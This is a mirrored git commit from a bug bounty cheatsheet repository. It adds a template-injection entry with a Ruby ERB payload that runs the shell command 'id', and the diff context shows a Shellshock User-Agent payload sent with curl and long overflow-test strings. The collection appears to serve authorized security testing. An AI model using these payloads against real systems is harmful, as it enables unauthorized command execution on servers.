Mirrors/bugbounty-cheatsheet
2
0
Fork 0
mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2024-11-21 18:53:01 +00:00
Code Issues Projects Releases Packages Wiki Activity

Add template injection.

Browse source
This commit is contained in:
EdOverflow 2017-07-14 15:35:52 +01:00
parent f1a044b6b6
commit 1fd1c34ea5
3 changed files with 11 additions and 1 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
README.md
View file

@ -9,6 +9,7 @@
- [RCE](cheatsheets/rce.md) - [RCE](cheatsheets/rce.md)
- [Open Redirect](cheatsheets/open-redirect.md) - [Open Redirect](cheatsheets/open-redirect.md)
- [Crypto](cheatsheets/crypto.md) - [Crypto](cheatsheets/crypto.md)
- [Template Injection](cheatsheets/template-injection.md)
- [Content Injection](cheatsheets/content-injection.md) - [Content Injection](cheatsheets/content-injection.md)
# Contributors # Contributors

7
cheatsheets/template-injection.md Normal file
View file

@ -0,0 +1,7 @@
## Template Injection
**Ruby**
```ruby
<%=`id`%>
```

4
payloads.txt
View file

@ -89,4 +89,6 @@ curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234 012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234
0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345
<%=`id`%>